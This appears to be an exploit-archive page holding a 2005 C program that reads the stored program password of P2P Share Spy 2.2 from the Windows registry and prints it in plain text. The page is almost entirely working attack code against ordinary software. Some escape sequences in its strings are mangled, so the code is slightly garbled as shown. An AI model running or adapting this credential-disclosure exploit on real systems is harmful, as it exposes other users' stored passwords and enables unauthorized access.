[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : P2P Share Spy 2.2 Local Password Disclosure Exploit
# Published : 2005-04-07
# Author : Kozan
# Previous Title : FTP Now <= 2.6.14 Local Password Disclosure Exploit
# Next Title : Adobe Version Cue 1.0/1.0.1 (-lib) Local Root Exploit (OSX)
/*****************************************************************
P2P Share Spy 2.2 Local Exploit by Kozan
Application: P2P Share Spy 2.2
Vendor: Rebrand Software - www.rebrandsoftware.com
Vulnerable Description: P2P Share Spy 2.2 discloses passwords
to local users.
Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <windows.h>
#define BUFSIZE 100
HKEY hKey;
char Password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
int main(void)
{
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\VB and VBA Program Settings\P2P Share Spy\Settings",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "txtPassword", NULL, NULL,(LPBYTE) Password, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("Not found!");
return 0;
}
RegCloseKey( hKey );
printf("P2P Share Spy 2.2 Local Exploit by Kozann");
printf("Credits to ATmaCAn");
printf("www.netmagister.com - www.spyinstructors.comn");
printf("kozan@netmagister.comnn");
printf("Program Opening Password : %sn",Password);
}
else{
printf("P2P Share Spy 2.2 is not installed on your system!n");
}
return 0;
}
// www.Syue.com [2005-04-07]